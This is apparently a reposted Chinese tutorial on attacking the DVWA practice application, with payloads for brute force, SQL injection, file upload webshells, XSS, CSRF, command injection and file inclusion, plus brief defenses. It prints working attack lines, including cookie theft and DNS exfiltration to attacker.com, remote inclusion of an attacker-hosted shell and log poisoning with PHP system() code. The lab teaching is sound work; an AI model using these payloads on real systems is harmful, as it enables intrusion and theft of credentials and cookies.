当前位置: 首页 > news >正文

DVWA实战演练:从入门到精通的Web安全攻防指南

1. DVWA平台入门指南

DVWA(Damn Vulnerable Web Application)是一个专门为安全测试设计的Web应用,它内置了多种常见漏洞场景。我第一次接触这个平台时,发现它就像个"漏洞博物馆",把各种安全问题集中展示在一个可控环境中。对于刚入门Web安全的新手来说,DVWA最大的价值在于它提供了从低到高四个安全等级(Low/Medium/High/Impossible),让我们能清晰看到不同防护级别的效果差异。

搭建DVWA环境其实很简单,我推荐使用XAMPP或Docker方式。以XAMPP为例:

  1. 下载DVWA压缩包解压到htdocs目录
  2. 修改config/config.inc.php中的数据库配置
  3. 访问http://localhost/dvwa/setup.php初始化数据库
  4. 用默认账号admin/password登录

注意:建议在虚拟机或隔离环境中运行DVWA,避免暴露在公网。我在本地测试时曾不小心把安全等级设为Low就开放了端口,结果第二天发现被植入了挖矿脚本。

登录后首先要调整安全等级,这个设置会影响所有漏洞模块的防护强度。新手建议从Low级别开始,逐步提升难度。右上角的"Create / Reset Database"按钮可以随时重置实验环境,这个功能在反复测试时特别实用。

2. 暴力破解实战解析

2.1 Low级别漏洞利用

在Low级别的暴力破解模块,系统对登录尝试没有任何防护。我常用两种攻击方式:

  1. Burp Suite爆破
# 拦截登录请求发送到Intruder # 设置攻击类型为Cluster bomb # 加载用户名和密码字典 # 根据响应长度或内容筛选成功组合
  1. SQL注入绕过: 输入admin' or '1'='1作为用户名,密码留空即可登录。原理是构造永真条件使查询语句:
SELECT * FROM users WHERE user='admin' or '1'='1' AND password=''

2.2 Medium级别防护突破

Medium级别使用了mysqli_real_escape_string()防御SQL注入,但爆破防护依然薄弱。这里有个小技巧:由于响应时间差异,可以通过时间盲注判断条件真假:

admin' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(3),0)#

如果数据库名首字母是'd'就会延迟3秒响应。

2.3 High级别Token机制破解

High级别引入了CSRF Token防护,常规爆破会失效。我的解决方案是:

  1. 先获取有效Token值
  2. 在Burp Suite中配置Macro自动获取新Token
  3. 设置Payload处理规则更新Token
  4. 保持单线程攻击避免Token失效

3. SQL注入深度攻防

3.1 基础注入手法

在Low级别,典型的注入流程包括:

  1. 判断注入类型:1' and '1'='1返回正常说明是字符型
  2. 确定字段数:1' order by 2--逐步测试
  3. 获取数据库信息:
1' union select 1,group_concat(schema_name) from information_schema.schemata--

3.2 绕过过滤技巧

Medium级别过滤了引号,可以采用:

  • 十六进制编码:0x64767761代替'dvwa'
  • 字符串函数:CONCAT(CHAR(100),CHAR(118),CHAR(119),CHAR(97))
  • 盲注技术:基于布尔或时间的逐字符判断

3.3 高级注入防御

Impossible级别采用PDO预处理语句,从根本上杜绝注入。实际开发中建议:

  1. 始终使用参数化查询
  2. 最小权限原则配置数据库账户
  3. 对输入实施白名单验证
  4. 启用Web应用防火墙(WAF)

4. 文件上传漏洞利用

4.1 基础绕过方法

Low级别直接上传PHP文件即可获取webshell。Medium级别检查Content-Type时,可以通过Burp修改:

Content-Type: image/jpeg

4.2 高级攻击组合

High级别检测文件内容时,我的绕过方案:

  1. 制作图片马:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
  1. 配合文件包含漏洞执行:
http://dvwa/vulnerabilities/fi/?page=./hackable/uploads/image.jpg&cmd=id

4.3 全面防御方案

生产环境应该:

  1. 文件重命名存储(如MD5哈希)
  2. 限制上传目录执行权限
  3. 使用病毒扫描引擎检查内容
  4. 存储文件到云对象存储服务

5. XSS攻击实战演示

5.1 反射型XSS

Low级别直接注入:

<script>alert(document.cookie)</script>

Medium级别绕过过滤:

<ScRipt>alert(1)</ScRipt>

5.2 存储型XSS

在留言板等场景注入持久化脚本:

<img src=x onerror=stealCookie()> <script> function stealCookie(){ new Image().src='http://attacker.com/?cookie='+document.cookie; } </script>

5.3 DOM型XSS

利用前端JS漏洞:

# 原始代码 var lang = document.location.href.substring( document.location.href.indexOf('default=')+8 ); # 攻击向量 http://victim.com/?default=<script>alert(1)</script>

6. CSRF攻击与防御

6.1 基础攻击构造

Low级别直接伪造请求:

<img src="http://dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change">

6.2 绕过Referer检查

Medium级别需要构造包含目标域名的Referer:

<iframe src="http://attacker.com/dvwa.html"> <!-- dvwa.html内容 --> <script> document.write('<img src="http://dvwa/csrf/...">'); </script>

6.3 突破Token防护

结合XSS获取Token:

fetch('/csrf') .then(r=>r.text()) .then(t=>{ let token=t.match(/user_token' value='(.*?)'/)[1]; new Image().src='http://dvwa/csrf/?password_new=hack&token='+token; });

7. 命令注入攻防实战

7.1 基础命令拼接

Low级别直接注入:

127.0.0.1; cat /etc/passwd

7.2 绕过黑名单过滤

Medium级别过滤;&&时可用:

127.0.0.1 || whoami 127.0.0.1 | id

7.3 无回显攻击技巧

通过DNS外带数据:

; nslookup `whoami`.attacker.com

然后在DNS服务器查看解析记录获取命令输出。

8. 文件包含漏洞进阶

8.1 本地文件包含

读取系统敏感文件:

http://dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

8.2 远程文件包含

执行远程PHP脚本:

http://dvwa/vulnerabilities/fi/?page=http://attacker.com/shell.txt

8.3 日志污染技巧

通过User-Agent注入PHP代码:

curl -A "<?php system($_GET['cmd']);?>" http://dvwa/

然后包含日志文件:

http://dvwa/vulnerabilities/fi/?page=../../../../var/log/apache2/access.log
http://www.jsqmd.com/news/551502/

相关文章:

  • HY-Motion 1.0开箱即用:Gradio可视化界面,实时预览动作生成过程
  • 保姆级教程:用ROS的ipa_room_exploration包实现扫地机器人弓字形清扫路径(附源码解析)
  • 计算机网络知识应用:MogFace-large分布式推理集群的通信架构设计
  • 手把手教你用QEMU在x86电脑上调试ARM版Ubuntu-base根文件系统
  • 终极指南:如何用qmc-decoder轻松解锁QQ音乐加密文件
  • 如何实现Jellyfin插件自动化版本管理与兼容性检查:完整指南
  • 保姆级教程:用微信小程序模拟蓝牙钥匙,5分钟搞定充电桩自动充电(附完整代码)
  • Gifu核心组件剖析:Animator、FrameStore和AnimatedFrame
  • VideoCrafter项目架构深度解析:理解LVDM模块化设计与高质量视频生成
  • Nano语法高亮进阶:如何为新兴编程语言和框架创建nanorc定义
  • AndEngine游戏性能监控:FPSCounter和内存管理的完整方案
  • 从文本到演示:md2pptx如何重新定义技术文档的表达边界
  • 从VS2019升级到VS2022开发UE5?我踩过的坑和避雷指南都在这了
  • 抖音直播间数据采集系统:破解实时互动分析的技术挑战与业务价值
  • Kinto.sh 完全卸载与安全更新指南:告别键盘映射配置烦恼的终极教程
  • 安防相机宽动态技术(WDR)的实战解析:从原理到应用场景
  • 【开题答辩全过程】以 基于Java的医院器材管理系统的设计与实现为例,包含答辩的问题和答案
  • 如何使用FunClip实现精准视频剪辑:时间戳偏移与多段落合并完整指南
  • 漫画脸描述生成效果展示:符合印刷出版要求的高精度角色线稿描述生成
  • Dreambooth-Stable-Diffusion与Hugging Face Diffusers对比分析:选择最适合你的AI训练方案
  • Android文件下载终极指南:FileDownloader完整使用教程
  • 2026年深度解析与推荐江山欧派公司:从核心业务与市场地位透视其发展韧性 - 十大品牌推荐
  • 遇到启动失败?DeepSeek-R1-Distill-Qwen-1.5B常见问题一站式解决
  • 2026年深度解析与推荐江山欧派公司:从行业地位与市场布局看其发展韧性 - 十大品牌推荐
  • SPIRAN ART SUMMONER创意实践:使用LaTeX生成科技论文插图
  • OpenHIS开源医院信息系统操作教程-药房管理
  • 【声纳与人工智能融合——从理论前沿到自主系统实战】第八章 声纳反问题与海底底质智能反演
  • 基于51单片机的智能步进电机双模控制系统设计与实现
  • 双叶家具联系方式查询:为大同消费者提供的实木家具选购指南与门店信息参考 - 十大品牌推荐
  • 从GTEA到50Salads:第一人称vs.俯视视角,你的动作分割模型该怎么选?